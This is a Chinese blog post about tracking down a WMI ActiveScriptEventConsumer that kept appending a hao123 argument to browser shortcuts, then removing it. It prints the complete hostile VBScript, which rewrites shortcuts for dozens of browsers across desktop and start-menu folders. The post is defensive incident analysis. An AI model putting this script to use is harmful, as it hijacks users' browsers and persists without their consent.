標籤:

檢查你機器上的流氓腳本

檢查你機器上的流氓腳本

來自專欄程序員的日常13 人贊了文章

最近電腦上瀏覽器的快捷方式總是被定期加上一個hao123的後綴

嗯,你知道,被腳本在電腦上亂寫文件可是一件大事

我記得上次發生這種事情已經是winxp的年代了,當時流行的方法還是改註冊表,寫啟動項等等,比較容易發現,但這次我在啟動腳本里找了一圈,竟然沒有找到到底是誰在搞鬼

找了一些資料,才發現現在已經開始流行用wmi這種高端的東西了

找到原因之後,解決問題其實就很簡單了,windows里管理wmi的工具有一個叫

打開之後長這樣

先連接到本機

熟悉編程的人應該對這個界面上的東西都有概念,類顯然就是各種功能的入口,讓我們來看看都有哪些類,點枚舉類之後:

看看默認的列表

功能很多,讓我們姑且只關注這個東西:

ActiveScriptEventConsumer

名字很直白,windows的這個activeScript當年就是各種流氓腳本最喜歡的形式(如果你還記得五六年前的U盤自動運行病毒,他們十有八九都是用這個東西寫的)

那麼我們來看看這個類都被創建了哪些實例,點枚舉實例

OK,I found you,然後我們來看看他都幹了些什麼

這個對象的屬性列表裡面,有一個很顯眼的部分

類型,vbscript

腳本文本:

On Error Resume Next:Const link = "hao123_上網從這裡開始":Const link360 = "hao123_上網從這裡開始":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:UsersPublicDesktop,C:ProgramDataMicrosoftWindowsStart MenuPrograms,C:UserszhangqiDesktop,C:UserszhangqiAppDataRoamingMicrosoftInternet ExplorerQuick Launch,C:UserszhangqiAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedStartMenu,C:UserszhangqiAppDataRoamingMicrosoftInternet ExplorerQuick LaunchUser PinnedTaskBar,C:UserszhangqiAppDataRoamingMicrosoftWindowsStart MenuPrograms":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:

罪證確鑿,所以只需要輕點

刪除

再見hao123


推薦閱讀:

這是一份收藏量超過2萬6的計算機科學學習筆記
《代碼之髓》讀後感
工作效率太低怎麼辦?不如試試雙顯示屏或多顯示屏!
計算機科學中的幾個常見概念
03 聽說你們計科編譯原理要寫一個詞法分析器

TAG:計算機科學 |